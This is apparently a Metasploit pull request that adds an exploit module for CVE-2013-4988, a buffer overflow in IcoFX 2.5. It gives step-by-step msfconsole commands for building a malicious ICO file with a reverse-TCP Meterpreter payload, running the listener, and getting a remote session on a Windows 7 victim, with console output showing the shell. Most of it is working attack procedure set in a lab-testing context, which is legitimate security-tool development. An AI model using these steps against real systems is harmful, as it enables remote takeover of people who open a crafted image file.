rapid7/metasploit-framework — pull request #2816 by jvazquez-r7 (2013-12-31 20:50:22+00:00)
Title: Add module for CVE-2013-4988

Tested on Win 7 SP1 with IcoFX 2.5

Verification
----------

- [ ] Install Win 7 SP1
- [ ] Install IcoFX 2.5 trial from the home page http://icofx.ro/downloads.html At the time of writing the trial is vulnerable. If it isn't at the time of testing ask me for the installer.

```
Version: 2.5
Release Date: June 3, 2013
MD5: 8D7EA68B8857995FEB646DA673E7177E
```

- [ ] run msfconsole
- [ ] use exploit/windows/fileformat/icofx_bof
- [ ] exploit to generate an ICO file with the payload

```
msf exploit(icofx_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(icofx_bof) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(icofx_bof) > rexploit
[*] Reloading module...

[*] Creating 'msf.ico' file...
[+] msf.ico stored at /Users/juan/.msf4/local/msf.ico
```

- [ ] run the handler on the msfconsole for the same payload

```
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
```

- [ ] Open the ico file on the vulnerable Win7SP1 machine. It should support both context menu, file-open, drag and drop opening methods.
- [ ] Hopefully enjoy sessions. If for any reason you experience a crash but a session, a windbg crashdump would be super useful for me to debug. I experienced crashes when opening the file with different methods. Hopefully it is reliable enough (remember, **only has been tested on Win7 SP1**)

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.172.134
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:50123) at 2013-12-31 14:40:32 -0600

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
smeterpreter > sysinfo
eComputer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
```